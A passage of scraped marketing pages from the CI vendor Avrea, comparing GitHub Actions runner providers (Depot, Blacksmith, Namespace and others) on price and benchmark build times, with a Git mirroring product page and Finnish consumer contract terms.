x86, Linux ARM and macOS on Apple M5 Max, and Windows Server 2025. There is no monthly plan fee, the 2-vCPU x86 rate is $0.004 against Depot’s $0.006, and its ARM runner had the fastest ARM builds in the benchmark above. Supported `actions/cache` calls go to Avrea’s cache without workflow changes, with 25 GB per repository shared across Actions, LFS, build and package caches. Integrations for Turborepo, Gradle, Bazel, Nx, Go and sccache let a cache hit skip compilation or tests. Docker builds run on the runner, and a persistent disk keeps builder state between jobs. Each job has searchable logs, CPU and memory metrics and SSH, and workflow analytics track failure and flake rates. Avrea AI, in beta, proposes a fix for a failing job and runs your tests on it before opening a pull request. Sono moved its CI from Depot to Avrea in about 15 minutes, across a couple of pull requests. On a standard runner, a build that took three minutes on Depot ran in two on Avrea, before caching was tuned for the repository. Avrea is ISO 27001:2022 certified and SOC 2 Type II attested. [Read the Sono case study](https://avrea.com/case-studies/sono) or the [full Avrea and Depot comparison](https://avrea.com/avrea-vs-depot). ### Blacksmith Blacksmith runs managed runners with no plan fee and 3,000 free minutes a month, at $0.004 a minute for 2-vCPU x86 and $0.0025 for 2-vCPU ARM. Its Actions cache needs no workflow changes and includes 25 GB per repository at no extra charge. Docker builds run on the runner, with layers kept on a sticky disk through Blacksmith’s own setup and build actions. macOS runs on M4 from 6 vCPU, Windows is in public beta, and jobs run in four regions across the US and Europe. [Avrea vs Blacksmith](https://avrea.com/avrea-vs-blacksmith). ### WarpBuild Like Depot, WarpBuild sells runners and remote Docker builders as separate products. Its builders start at 16 vCPU for $0.06 a minute, and it can also deploy runners into your own AWS, GCP or Azure account for $0.002 a minute plus the cloud bill. Hosted runners match Avrea’s $0.004 x86 rate, and macOS runs on M4 Pro. To use WarpBuild’s own cache on hosted runners, you replace `actions/cache` with `warpbuilds/cache`; storage and operations are billed separately. [Avrea vs WarpBuild](https://avrea.com/avrea-vs-warpbuild). ### Namespace Namespace sells runners, remote Docker builders, cache volumes and devboxes from one account. A 2-vCPU, 8-GB Linux runner costs $0.004 a minute within a paid plan and $0.006 beyond it; the Team plan is $100 a month with 100,000 unit minutes and 1,000 Docker builds. GitHub’s cache keeps working unchanged, while Namespace’s NVMe cache volumes need its cache action and a few workflow edits. Linux ARM runs on AmpereOne, with Apple silicon Linux in early access, and Windows needs the Team plan or above. [Avrea vs Namespace](https://avrea.com/avrea-vs-namespace). ### Ubicloud Ubicloud’s managed runners are part of an open-source cloud platform and have the lowest hosted rate here, $0.00125 a minute for a standard 2-vCPU runner on x86 or ARM. The transparent cache works without workflow changes and includes 30 GB per repository, which Docker builds can use through `type=gha`. Ubicloud doesn’t list a remote Docker builder or macOS and Windows runners, and jobs run in European data centres by default. [Avrea vs Ubicloud](https://avrea.com/avrea-vs-ubicloud). ### RunsOn RunsOn starts a fresh EC2 instance in your own AWS account for each job, from one CloudFormation stack. You pay AWS for the instances and a small control plane, and RunsOn a flat licence from €300 a year for under 50,000 jobs a month; it is free for non-profit, open-source and personal non-commercial projects. RunsOn’s own calculator puts a 4-vCPU spot instance at $0.0014 a minute in us-east-1, before the licence and control plane. Depot deploys into your AWS account only on its Business plan, while RunsOn always runs there. macOS jobs stay on GitHub’s runners. ### GitHub-hosted runners Moving back to GitHub’s runners keeps CI with one vendor and one bill. Standard 2-core Linux runners cost $0.006 a minute in private repositories, the same as Depot’s base rate, and nothing in public ones. Larger runners need a Team or Enterprise Cloud plan and cost $0.012 a minute for 4-core x86 and $0.008 for 4-core ARM. Each GitHub plan includes $12 to $300 of usage a month, and Docker layer caches share the 10 GB repository cache. [Avrea vs GitHub-hosted runners](https://avrea.com/avrea-vs-github-hosted-runners). ## When staying on Depot makes sense Depot suits a pipeline where most of the time goes into `docker build` and you want that work off the runner: its 16-CPU builders keep a persistent layer cache whichever runner starts the job. Its ARM runners cost the same $0.006 as its x86 ones, on Graviton4. Depot Cache gives Bazel, Gradle, Turborepo, Nx and sccache one remote cache, and every plan includes test reporting. If you switch, replace `depot/build-push-action` with `docker/build-push-action` and a cache backend, and point any Depot Cache settings at the new provider. The first runs rebuild layers and build outputs from scratch. ## Common questions ### Which is the fastest Depot alternative? Avrea, among the providers in RunsOn’s 4 November 2026 run on 4-vCPU runners. It had the fastest ARM builds of both projects and the fastest x86 Rust build, and restored the cache fastest of the hosted providers. Namespace built the x86 Docker image 12 seconds sooner than Avrea. Depot is not in the benchmark. ### Is Avrea faster than Depot? There is no independent benchmark with both, because Depot is not in RunsOn’s test. Sono, which moved from Depot to Avrea, reported that a build taking three minutes on Depot ran in two on Avrea before any cache tuning. To compare on your own code, run the same commits on both, including a cold cache and a Docker build. ### What is the cheapest alternative to Depot? Per minute, Ubicloud’s standard runners: $0.00125 for 2 vCPU on x86 or ARM, with no plan fee. Avrea, Blacksmith and WarpBuild charge $0.004 for 2-vCPU x86, against Depot’s $0.006, also without a plan fee. With your own AWS account, RunsOn on spot instances can cost less per minute, plus its annual licence. Job duration and Docker build time decide most of the bill. ### Which alternatives replace Depot’s remote Docker builders? WarpBuild and Namespace both sell remote Docker builders. Avrea and Blacksmith keep Docker builder state on a persistent disk attached to the runner, so the build runs on the job’s own runner without a separate builder service. ### Do I need a monthly plan to replace Depot? No. Avrea, Blacksmith, WarpBuild and Ubicloud charge per minute with no base fee, and Namespace’s Developer plan is $0 with pay-per-use pricing. Avrea also includes 3,000 free minutes a month. RunsOn charges an annual licence, and GitHub-hosted runners are billed through your GitHub plan. ### How do I move a workflow off Depot? Change the job’s `runs-on` label from `depot-ubuntu-24.04` to the new provider’s, for example `avrea-ubuntu-latest` for Avrea’s 2-vCPU, 8-GB x86 runner. On Avrea, the console’s migration wizard converts a workflow and opens the pull request for you. Replace Depot’s Docker actions with the standard ones and choose a cache backend for the layers. Compare a cold run, a repeat of the same commit and a typical change before deciding. ## Related reading - [Avrea vs Depot](https://avrea.com/avrea-vs-depot): runner prices, Docker builders and remote caches. - [Blacksmith alternatives](https://avrea.com/blacksmith-alternatives): options for teams on Blacksmith. - [Fastest ARM runners for GitHub Actions](https://avrea.com/blog/fastest-arm-github-actions-runners): the ARM build results in detail. - [GitHub Actions caching](https://avrea.com/blog/github-actions-cache): cache keys, build outputs and persistent storage. - [All runner comparisons](https://avrea.com/alternatives): the wider provider comparison. ## Try one job on Avrea Connect a repository with the [setup guide](https://docs.avrea.com/getting-started/), then change one job’s runner label. Run the same commits on both providers and compare duration and cost, including a cold cache and a Docker build. [Try Avrea](https://console.avrea.com) · [Runner sizes and pricing](https://avrea.com/pricing) --- Source: https://avrea.com/git-mirroring # Fast Git access for CI and agents Serve clones and fetches from mirrors near your workloads. Reduce traffic to your Git host while keeping your existing origin. Git Mirroring Serve clones and fetches from mirrors near your workloads. Reduce traffic to your Git host while keeping your existing origin. [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) Clone from a mirror $avr repo clone acme/api $cd api $git fetch origin ## Fast checkouts as your workload grows Same-region mirrors serve clones and fetches from local disk, reducing repeated requests to your origin as CI and agent traffic grows. ## Keep a mirror close to your workloads Keep a mirror in each region where you run CI, sandboxes or agents. Clones and fetches use the mirror. Push changes to your existing Git host. ### Reads stay local Clones, fetches and shallow reads are served by the mirror near the workload. ### Pushes go to your origin Push changes to your origin. Reviews and branch protection stay with your host. ### Consistent repository data Refs are advertised after their objects are available. Mirrors that fall behind are removed from rotation. ## Built for the way agents use Git Scope agent credentials to specific repositories and branches. Keep protected merges behind approval. ### Track automated changes Trace activity to the credential that made each change. Works with Claude Code, Codex and tools that use Git or the API. ## Repository protection ### Integrity checks Stored Git data is checked for corruption. ### Recovery built in Avrea can restore repository state from retained versions. ### Standard Git access Clone your repository and keep its full Git history. Pay for repository storage and data transfer, with no per-operation charge. [See Git Mirroring rates →](https://avrea.com/pricing#git-mirroring-pricing) ## Keep your Git workflow ### Mirror what you already have Create a mirror for a repository you have connected to Avrea. Its history, pull requests and issues stay on your Git host. ### Workflows you already use Keep your branches, pull requests, reviews and merge policies. Connect through your editor, terminal, CI, API or webhooks. ### Standard Git clients Clone and fetch with the Git clients and tools you already use. The mirror is a read-only copy, so your origin stays the source of truth. ## Start with a repository Choose a location for a connected repository, then clone from its mirror. Mirror creation requires an organization admin. $avr repo mirror locations $avr repo mirror create acme/api --location $avr repo mirror status --repo acme/api # Once the mirror is ready $avr repo clone acme/api [Get help with mirror setup](https://avrea.com/demo) ## Speed up your Git checkouts [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/github-actions-alternatives # GitHub Actions Alternatives: Runners, Platforms, and Engines Change your runners, change platform, or change the engine? A straight guide to GitHub Actions alternatives and what each one actually costs to move to. You can replace GitHub-hosted runners, move to another CI platform or use a different engine for your GitHub Actions workflows. Each changes a different part of your setup. ## The three options at a glance Product details checked 20 August 2026. | | Change the runners | Change the platform | Change the engine | | --- | --- | --- | --- | | What moves | Where jobs execute | Everything | Orchestration, scheduling, and where jobs execute | | Your workflow YAML | Unchanged | Rewritten | Kept | | Your repo | Stays on GitHub | Usually moves | Stays on GitHub | | Effort | One line | Weeks to months | Small | | Replaces GitHub Actions scheduling | No | Yes | Yes | | Who does it | Avrea, Blacksmith, Depot, Namespace, WarpBuild, Ubicloud, RunsOn | GitLab, CircleCI, Buildkite, Jenkins | Avrea CI, Depot CI | ## Change the runners: keep your workflows A runner provider gives you machines that register themselves as GitHub Actions runners. You change one label and everything else stays. ``` # Before runs-on: ubuntu-latest # After runs-on: avrea-ubuntu-latest ``` Setup beyond the runner label depends on the provider and the cache integration. Providers handle caching differently: some keep `actions/cache` working untouched, some want you to swap actions in every workflow, and some cache on Linux only. On Avrea, `actions/cache@v4` and the language `setup-*` actions keep working as they are, on Linux, Windows and macOS. Self-hosting is another option, and we cover it in more detail in our [guide to GitHub Actions runners](https://avrea.com/blog/github-actions-runners). | Provider | What it focuses on | Where compute runs | | --- | --- | --- | | **Avrea** | Speed, per-step CPU and memory, searchable logs, SSH into live jobs, and Avrea AI for CI fixes | Ours | | [**Blacksmith**](https://avrea.com/avrea-vs-blacksmith) | High single-core bare metal with a persistent Docker layer cache | Theirs | | [**Depot**](https://avrea.com/avrea-vs-depot) | Fast runners alongside remote Docker builds and build caching | Theirs | | [**Namespace**](https://avrea.com/avrea-vs-namespace) | Flexible machine shapes and a remote build cache | Theirs | | **WarpBuild** | The same runners hosted, or inside your own cloud account | Theirs or yours | | **Ubicloud** | Open-source cloud, priced at the low end of the category | Theirs | | **RunsOn** | Ephemeral runners in your own AWS account on spot capacity | Your AWS account | [Compare runner pricing, caching and benchmarks](https://avrea.com/alternatives). ## Change the platform: leave GitHub Actions These replace GitHub Actions, so you rewrite your workflows in the new tool’s syntax. Each suits a different team. | Platform | Model | Best for | | --- | --- | --- | | GitLab CI/CD | SaaS or self-hosted | Teams standardizing on one suite for repos, CI, and registry | | CircleCI | SaaS, with self-hosted runners | The closest thing to a like-for-like config swap, with a mature reusable-config ecosystem | | Buildkite | Hybrid | A hosted control plane running jobs on agents you host, so code and secrets stay in your environment | | Jenkins | Self-hosted | Unusual hardware, licensing, or air-gapped requirements, in exchange for owning everything | | Cursor Origin | Hosted git forge, early beta | Teams moving repositories off GitHub for agent-heavy work. It hosts code and pull requests but doesn't run CI, so you connect a CI provider separately | CircleCI publishes migration estimates of about five weeks for one complex project and nine months or more for ten. ### What you give up when you leave Three GitHub-native things have no clean equivalent on another platform, and they’re what teams forget to price in. **Marketplace actions.** Every `uses:` step is GitHub Actions specific. GitLab maps them to `include` and CI/CD components, CircleCI to orbs, Buildkite to plugins, Jenkins to plugins and shared libraries. Each one is a rebuild. A workflow that mostly runs shell commands ports quickly. A workflow assembled from a dozen marketplace actions has to be rebuilt from parts. **GITHUB_TOKEN.** GitHub mints a token at the start of every job, scoped to that repository, and expires it when the job ends. On another platform you provision, store, scope, and rotate that credential yourself. **Required status checks.** Branch protection gates merges on named checks. An external platform reports back through the commit status API, so every required check has to be rewired and renamed on the protected branch before the new pipeline can gate a merge. ## Change the engine: Avrea CI There’s a third option that sits between the other two. Instead of changing where jobs run, or changing everything, you change the thing that decides which jobs exist and when they run, and your jobs move onto our runners at the same time. **Avrea CI keeps your GitHub Actions syntax and runs everything else on Avrea.** Workflow orchestration, job scheduling, artifact and cache management, secrets, and execution all move. Your workflow files don’t. What changes when Avrea owns the engine: - **Reliability.** You stop depending on GitHub to hand out work, so most GitHub outages stop being your outage. Your repo still lives on GitHub, so a bad enough GitHub day still reaches you. The Actions incidents that cost teams whole afternoons mostly don’t. - **Scheduling control.** GitHub already has matrices and parallel jobs, so this isn’t about fan-out existing. It’s about who decides when those jobs actually start. The scheduler is ours, so they start when there’s capacity rather than when the queue gets to them. - **Run uncommitted code.** Debugging a broken workflow usually means pushing throwaway commits and waiting on each one, because there’s no reliable way to test a GitHub Actions workflow locally. Avrea CI runs your working tree, so you get the answer before the commit exists. Avrea CI is in closed beta. ## What outages actually tell you “GitHub Actions is down” describes at least three different failures, and they have different answers. **When the control plane fails, a runner swap doesn’t help.** On 6 August 2026 an internal Actions service that generates jobs saturated during a routine deploy. At peak, 71% of workflow runs hit infrastructure failures, and GitHub’s report says customers on both GitHub-hosted and self-hosted runners were affected. If GitHub can’t dispatch the job, nobody runs it, and that includes Avrea’s runners. Changing the platform or the engine is what removes this dependency, because in both cases something other than GitHub decides when your jobs run. **When GitHub’s hosted runner fleet fails, a runner swap does help.** Twice in a month, on 9 July and 22 July 2026, a backend service that provisions hosted runners went unhealthy and jobs couldn’t acquire a machine. Both reports scope the impact specifically to GitHub-hosted runners. Anything running its own fleet, self-hosted or third-party, never touches that service. **When runner connectivity fails, third-party and self-hosted runners are the ones that break.** On 19 July 2026 an expired internal certificate meant self-hosted and larger runners couldn’t connect to GitHub for nearly five hours, while jobs on standard and Mac hosted runners ran normally. This is the inverse case, and it’s the one nobody markets. So changing runners removes one class of dependency and adds another. If reliability is the reason you’re reading this, that’s an argument for changing the platform or the engine, not just the machines. ## How to decide **If you’re changing runners**, benchmark your own heaviest workflow, warm and cold. Vendor benchmarks are run on workloads chosen to make the vendor look good, including ours. Watch startup latency separately from build time, because it’s a fixed cost per job that’s invisible on a twenty minute build and obvious on a ninety second one. Check where the cache lives before you compare core counts, since on most real workloads that moves wall-clock time more than core speed does, which is the argument we made in [CPU benchmarks are only half the story](https://avrea.com/blog/fastest-github-actions-runners). And check GA status one operating system at a time: plenty of providers are solid on Linux and early on Windows or macOS. **If you’re changing platforms**, count your `uses:` steps and your required status checks before you estimate anything. Those two numbers, not the size of your YAML, are what the migration actually costs. **If you’re changing the engine**, your workflows come with you, so migration effort isn’t really the question. The tradeoff is elsewhere: you’re deciding whether you want GitHub scheduling your jobs, and you’re taking on a dependency that’s still in closed beta. ## Where Avrea fits today Avrea replaces GitHub Actions runners. You install the GitHub App and change one label, [about five minutes following the setup guide](https://docs.avrea.com/getting-started/), and nothing else in your setup changes. Builds run 2x faster on hardware alone and 10x with cache hits. Linux x86 runs on EPYC 4585PX at 5.7GHz on dedicated bare metal, macOS and Linux ARM on Apple M5 Max, and Windows is generally available. Avrea includes 25 GB of cache per repository, with additional storage available to purchase. You get per-step CPU and memory, searchable logs, and SSH into a live job. Every job runs in a clean ephemeral VM. ISO 27001 certified, SOC 2 Type II attested. [Pricing](https://avrea.com/pricing) starts at $0.002 per minute. Eligible organizations receive a monthly credit equivalent to 3,000 minutes on 2-vCPU Linux x86 runners. Other metered usage, including persistent disks and static IPs, draws on the same credit. [PromoRepublic](https://avrea.com/case-studies/promorepublic) cut execution from about 4 minutes to 42 seconds, about 5.7x faster, [Focal](https://avrea.com/case-studies/focal) measured 2x faster Turborepo CI against GitHub Actions plus Vercel Remote Cache, and [Syncle](https://avrea.com/case-studies/syncle) cut job times roughly in half. Those are measured customer results on their own workloads, not a universal benchmark. Where we’re the wrong answer today: - **You’re not on GitHub Actions.** GitLab support is coming, so stay tuned. Bitbucket isn’t on the roadmap yet. - **You want off GitHub completely.** If the decision is already made and the repos are moving, we’re not a fit. We make GitHub Actions faster and we run the engine behind it, but your code still lives on GitHub. - **Compute has to run in your own account.** Every Avrea job runs on our hardware. If your compliance rules put build compute inside your own cloud boundary, that rules us out. - **Your jobs are all very short.** If your CI is a hundred jobs that each finish inside a minute, per-job startup is a bigger share of your wall clock than core speed, and faster hardware buys you less. That’s true of every vendor here, us included. [Start with one workflow](https://console.avrea.com) and compare it with your current runner. --- Source: https://avrea.com/github-actions-runner-pricing # GitHub Actions runner prices compared Per-minute runner prices from Avrea, Blacksmith, Depot, WarpBuild, Namespace, Ubicloud, RunsOn and GitHub, and what the same build costs on each. A job's bill is the runner's per-minute rate multiplied by the minutes the job takes. The tables list each provider's rates, then multiply them by build times measured on the same projects. ## Linux x86 Prices checked 11 November 2026. *Linux x86 runner prices per minute* | Provider | 2 vCPU, 8 GB | 4 vCPU, 16 GB | Plan fee | Included | | --- | --- | --- | --- | --- | | Avrea | $0.004 | $0.008 | None | 3,000 minutes | | Blacksmith | $0.004 | $0.008 | None | 3,000 minutes | | Depot | $0.006 | $0.012 | $20 or $200 | 2,000 or 20,000 minutes | | WarpBuild | $0.004 | $0.008 | None | $10 credit at signup | | Namespace | $0.004 in plan | $0.008 in plan | $0 or $100 | 25,000 minutes on Team | | Ubicloud | $0.00125 | $0.0025 | None | $2.50 credit a month | | RunsOn | AWS price | AWS price | From €300 a year | 15-day trial | | GitHub-hosted | $0.006 | $0.012 | GitHub plan | $12 to $300 of usage | GitHub’s 2-vCPU runner is its standard runner, free in public repositories; its 4-vCPU runner is a larger runner, which needs a Team or Enterprise Cloud plan and is billed in public repositories too. Namespace sets prices in unit minutes and charges $0.006 for a 2-vCPU runner beyond a plan’s included usage; its $100 Team plan covers 25,000 minutes on 2-vCPU, 8-GB runners. Depot’s plans are $20 for one user and $200 for unlimited users. Ubicloud’s premium x86 runners cost $0.002 for 2 vCPU. RunsOn bills nothing per minute: you pay AWS for the instance, and RunsOn’s own calculator puts a 4-vCPU spot instance at $0.0014 a minute in us-east-1, before its licence and control plane. ## Linux ARM *Linux ARM runner prices per minute* | Provider | 2 vCPU | 4 vCPU, 16 GB | Processor | | --- | --- | --- | --- | | Avrea | $0.012 | $0.024 | Apple M5 Max | | Blacksmith | $0.0025 | $0.005 | Not stated | | Depot | $0.006 | $0.012 | Graviton4 | | WarpBuild | $0.003 | $0.006 | Not stated | | Namespace | $0.004 in plan | $0.008 in plan | AmpereOne | | Ubicloud | $0.00125 | $0.0025 | Ampere Altra | | RunsOn | AWS price | AWS price | Graviton | | GitHub-hosted | $0.005 | $0.008 | Not stated | Avrea’s ARM runners are Apple M5 Max machines and cost more per minute than the server-processor ARM runners in the table. WarpBuild also sells Linux ARM runners on Apple silicon, from 6 vCPU at $0.08 a minute, and Namespace has them in early access. Blacksmith’s 4-vCPU ARM runner has 12 GB and its 2-vCPU ARM runner 6 GB, as does Ubicloud’s 2-vCPU ARM runner. Namespace charges the same for ARM as for x86. The build results further down show what the different hardware does to job time. ## macOS and Windows *Smallest macOS runner by provider* | Provider | Smallest macOS runner | Per minute | | --- | --- | --- | | Namespace | 4 vCPU, 7 GB, Apple silicon | $0.04 in plan | | GitHub-hosted | 3 or 4 cores, M1 or Intel | $0.062 | | Avrea | 8 vCPU, 24 GB, Apple M5 Max | $0.08 | | Blacksmith | 6 vCPU, 24 GB, M4 | $0.08 | | WarpBuild | 6 vCPU, 14 GB, M4 Pro or M5 Pro | $0.08 | | Depot | 8 vCPU, 24 GB, M4 on macOS 26 | $0.08 | Ubicloud and RunsOn have no macOS runners, and Depot’s macOS 14 and 15 runners use M2. For Windows on 2 vCPU, Avrea and Blacksmith (in public beta) charge $0.008 a minute and GitHub $0.010; WarpBuild’s smallest Windows runner is 4 vCPU at $0.016. Namespace counts Windows minutes at twice its Linux unit rate and offers Windows from the Team plan, and Ubicloud has no Windows runners. Sources: [Avrea pricing](https://avrea.com/pricing), [Blacksmith pricing](https://www.blacksmith.sh/pricing) and [runner specifications](https://docs.blacksmith.sh/blacksmith-runners/overview), [Depot pricing](https://depot.dev/pricing) and [runner types](https://depot.dev/docs/github-actions/runner-types), [WarpBuild pricing](https://www.warpbuild.com/pricing), [Namespace pricing](https://namespace.so/pricing), [Ubicloud pricing](https://www.ubicloud.com/docs/about/pricing), [RunsOn pricing](https://runs-on.com/pricing/), [GitHub runner rates](https://docs.github.com/en/billing/reference/actions-runner-pricing) and [included usage](https://docs.github.com/en/billing/concepts/product-billing/github-actions). ## What one build costs RunsOn, a runner vendor that also appears above, runs a public benchmark that builds the same projects on every provider’s runners, with its [workflows and method](https://runs-on.com/benchmarks/methodology/) published. Its 4 November 2026 run built the Rust project spotify-player and PostHog’s production Docker image from a cold start on 4-vCPU, 16-GB runners. The table multiplies each median build time by the provider’s 4-vCPU rate from the tables above. *Cost of one build at each provider's 4-vCPU rate, with the median build time* | 4-vCPU runner | Rust, x86 | Docker, x86 | Rust, ARM | Docker, ARM | | --- | --- | --- | --- | --- | | Avrea | 1.1¢ (86 s) | 3.9¢ (292 s) | 3.1¢ (77 s) | 11.4¢ (286 s) | | Blacksmith | 1.3¢ (100 s) | 4.0¢ (301 s) | 2.0¢ (243 s) | 5.2¢ (626 s) | | Namespace | 1.2¢ (91 s) | 3.7¢ (280 s) | 4.5¢ (340 s) | 10.7¢ (800 s) | | WarpBuild | 1.7¢ (129 s) | 6.0¢ (447 s) | 1.8¢ (181 s) | 6.0¢ (602 s) | | GitHub-hosted | 4.3¢ (213 s) | 15.5¢ (773 s) | 2.5¢ (190 s) | 8.0¢ (599 s) | | Ubicloud | 0.6¢ (139 s) | 2.7¢ (637 s) | 1.4¢ (341 s) | 3.4¢ (821 s) | On x86, Avrea, Blacksmith, Namespace and WarpBuild all charge $0.008 a minute for 4 vCPU, so only time separates them: the Rust build cost 1.1 cents on Avrea, 1.2 on Namespace, 1.3 on Blacksmith and 1.7 on WarpBuild. GitHub’s 4-core runner costs half as much again per minute and took 1.7 to 2.8 times as long, so the same build cost 4.3 cents and the Docker image 15.5, against 3.7 to 6.0 on the $0.008 runners. Ubicloud’s standard runner was slower than every other runner except GitHub’s, but at $0.0025 a minute it built both projects for the least. On ARM, rates differ more than times do. Avrea’s Apple M5 Max runner finished both builds first, but at $0.024 a minute for 4 vCPU its Docker image cost 11.4 cents, the most of any provider, and its Rust build cost more than every server-ARM runner except Namespace’s. What the higher rate buys is time: the Docker image was ready 5 to 9 minutes sooner than on the other ARM runners. The cost covers the build steps only. Queueing and runner start-up are measured separately, and GitHub rounds each job up to a whole minute, which adds to its short jobs; Avrea and Depot bill by the second. Blacksmith’s 4-vCPU ARM runner has 12 GB, and Ubicloud’s rows are its standard runners. RunsOn’s cost depends on the instance type and AWS pricing, and Depot is not in the benchmark, so neither is in the table. *Data: RunsOn, [benchmarks](https://runs-on.com/benchmarks/), CC BY 4.0. We selected the 4-vCPU rows and multiplied them by the published rates.* ## What the rates leave out - Cache and storage. Avrea and Blacksmith include 25 GB of cache per repository and Ubicloud 30 GB; WarpBuild bills its own cache’s storage and operations separately. - Remote Docker builders, which Depot ($0.04 a minute) and WarpBuild ($0.06 a minute) bill on top of runner minutes. - Add-ons such as static IPs and persistent disks, and enterprise terms. - Plan fees and included usage, which each provider converts into minutes at its own ratio. Avrea’s monthly credit is equivalent to 3,000 minutes on 2-vCPU Linux x86 runners and is shared with other metered usage. ## Common questions ### Which GitHub Actions runner is cheapest? Per minute, Ubicloud’s standard runners: $0.00125 for 2 vCPU on x86 or ARM. With your own AWS account, RunsOn on spot instances can cost less, plus its annual licence. Per build, in RunsOn’s 4 November run, Ubicloud’s standard runner also cost least on all four builds, though only GitHub’s runners were slower on x86. ### Are third-party runners cheaper than GitHub-hosted runners? On x86, yes, per minute and per build. Avrea, Blacksmith and WarpBuild charge $0.004 for 2 vCPU against GitHub’s $0.006, and $0.008 or less for 4 vCPU against $0.012. In RunsOn’s run the same x86 Rust build cost 4.3 cents on GitHub’s 4-core runner and 1.1 to 1.7 cents on Avrea, Blacksmith, Namespace and WarpBuild, because those runners also finished sooner. On ARM it depends on the provider: GitHub’s 4-core ARM runner, at $0.008 a minute, cost less per build than Avrea’s and Namespace’s. ### How do I compare costs on my own workflow? Run the same commits on two providers and multiply the billed minutes by each rate, including a cold run, a repeat of the same commit and a typical change. On Avrea, change one job’s runner label, for example to `avrea-ubuntu-latest`, or let the console’s migration wizard open the pull request. ## Related reading - [GitHub Actions pricing](https://avrea.com/blog/github-actions-pricing): GitHub’s own rates, included usage and how to lower the bill. - [All runner comparisons](https://avrea.com/alternatives): head-to-head comparisons with each provider. - [Blacksmith alternatives](https://avrea.com/blacksmith-alternatives), [Depot alternatives](https://avrea.com/depot-alternatives), [WarpBuild alternatives](https://avrea.com/warpbuild-alternatives) and [Namespace alternatives](https://avrea.com/namespace-alternatives). ## Try one job on Avrea Connect a repository with the [setup guide](https://docs.avrea.com/getting-started/), then change one job’s runner label. Run the same commits on both providers and compare duration and cost. [Try Avrea](https://console.avrea.com) · [Runner sizes and pricing](https://avrea.com/pricing) --- Source: https://avrea.com/information-for-consumers # Information for consumers Consumer information for Avrea customers in Finland and the EU. Contract terms, cancellation rights, and how to reach support. **SERVICE PROVIDER AND CONTACT DETAILS** The service is provided by **Avrea Ltd (later, Avrea)**, a private limited company incorporated under the laws of Finland. Avrea is registered under Finnish Business ID **3551133‑7** and has its registered office in Helsinki. Avrea’s address is **Annankatu 29 A 8, 00100 Helsinki, Finland**. Avrea can be contacted for customer support and any other post‑contract services by email at [**support@avrea.com**](mailto:support@avrea.com). **FEES AND PAYMENTS** The available subscription plan and its applicable prices are: [**Pay as you go:**](https://avrea.com/pricing) Usage-based pricing. 3000 free minutes each month. Then: **$0**/month **+ $0.002** per min (starting) The subscription fee covers access to the service in accordance with the selected plan. Payment for the service is made online by payment card. The subscription fee is charged in advance for each billing period using the payment card provided at the time of purchase. **SERVICE DELIVERY AND TERMINATION** **Delivery of the Service** The service is provided as a digital service and delivered electronically. Access to the service is granted after the subscription has been concluded. Where the subscription is subject to a fee, access to the service is granted only after the applicable subscription fee has been successfully paid, in accordance with the selected subscription plan. **Subscription Duration and Termination** The contract enters into force when the order is placed and accepted. The contract is **valid until further notice**. The customer may terminate the contract at any time by giving notice. Termination takes effect at the end of the calendar month in which the notice is given, unless otherwise stated at the time of purchase. Avrea may terminate the contract in accordance with applicable law and the Terms of Service, including in cases of material breach or nonpayment. **Right of Withdrawal (Consumers Only)** A consumer has the right to withdraw from a distance contract within fourteen (14) days from the date on which the contract is concluded, in accordance with Finnish consumer protection legislation. The right of withdrawal may be exercised by notifying Avrea of the decision to withdraw by email to [legal@avrea.com](mailto:legal@avrea.com). If the consumer has requested that the service be started during the withdrawal period and then exercises the right of withdrawal, Avrea may charge a proportionate amount corresponding to the service provided up to the time the withdrawal is exercised. No charges are applied for any period during which the service was provided free of charge. The right of withdrawal does not apply in situations permitted by applicable law, including where the consumer has expressly consented to the full performance of the service during the withdrawal period and acknowledged the loss of the right of withdrawal. **Statutory Liability for Defects** For consumer customers, Avrea is subject to mandatory statutory liability for defects in digital services under Finnish consumer protection legislation. These rights cannot be limited or excluded. For other customers, liability for defects and service non‑conformity is governed by the Terms of Service. **Functionality, Compatibility and Interoperability** Information on the functionality, compatibility and interoperability of the service, including any known technical requirements, is available in the service description provided by Avrea. **Complaints and Dispute Resolution (Consumers Only)** Consumers may submit complaints regarding the service by contacting [support@avrea.com](mailto:support@avrea.com). If a dispute cannot be resolved directly with Avrea, the consumer may refer the dispute to the Finnish Consumer Disputes Board: Hämeentie 3 00530 Helsinki Finland [https://www.kuluttajariita.fi](https://www.kuluttajariita.fi) Consumers may also seek assistance from Finnish Consumer Advisory Services. --- Source: https://avrea.com/namespace-alternatives # Namespace alternatives for GitHub Actions runners Seven alternatives to Namespace for GitHub Actions runners: Avrea, Blacksmith, Depot, WarpBuild, Ubicloud, RunsOn and GitHub, with dated prices and benchmarks. These providers run your existing GitHub Actions workflows. Compare runner prices, ARM and x86 build times, and what each one charges without a monthly plan. ## Which alternative to pick - Avrea, if ARM build time matters most. It had the fastest ARM builds in RunsOn’s November benchmark, built the x86 Rust project 5 seconds sooner than Namespace, and has no monthly plan fee. - Blacksmith, if you want a cache that needs no workflow changes and a low ARM rate, also without a plan fee. - Depot or WarpBuild, if you want to keep a remote Docker builder. - RunsOn or WarpBuild, if runners have to run in your own cloud account. - Ubicloud, if the per-minute rate matters most. - GitHub’s larger runners, if you’d rather keep CI with one vendor. ## Prices for a 2-vCPU Linux runner Prices checked 11 November 2026. Namespace charges $0.004 a minute for a 2-vCPU x86 runner with 8 GB within a paid plan and $0.006 beyond it. Avrea, Blacksmith and WarpBuild charge $0.004 with no plan. ARM prices vary more, partly because the hardware does. *Namespace alternatives: prices for a 2-vCPU Linux runner* | Provider | x86 | ARM | Plan fee | Included | | --- | --- | --- | --- | --- | | Namespace | $0.004 in plan | $0.004 in plan | $0 or $100 | 25,000 minutes on Team | | Avrea | $0.004 | $0.012 | None | 3,000 minutes | | Blacksmith | $0.004 | $0.0025 | None | 3,000 minutes | | Depot | $0.006 | $0.006 | $20 or $200 | 2,000 or 20,000 minutes | | WarpBuild | $0.004 | $0.003 | None | $10 credit at signup | | Ubicloud | $0.00125 | $0.00125 | None | $2.50 credit a month | | RunsOn | AWS price | AWS price | From €300 a year | 15-day trial | | GitHub-hosted | $0.006 | $0.005 | GitHub plan | $12 to $300 of usage | Prices are per minute for a 2-vCPU Linux runner with 8 GB; Blacksmith’s and Ubicloud’s ARM runners have 6 GB. Namespace sets prices in unit minutes, and its $100 Team plan’s 100,000 unit minutes cover 25,000 minutes on 2-vCPU, 8-GB runners. Depot’s plans are $20 for one user and $200 for unlimited users. Ubicloud’s premium x86 runners cost $0.002. Avrea’s ARM runners are 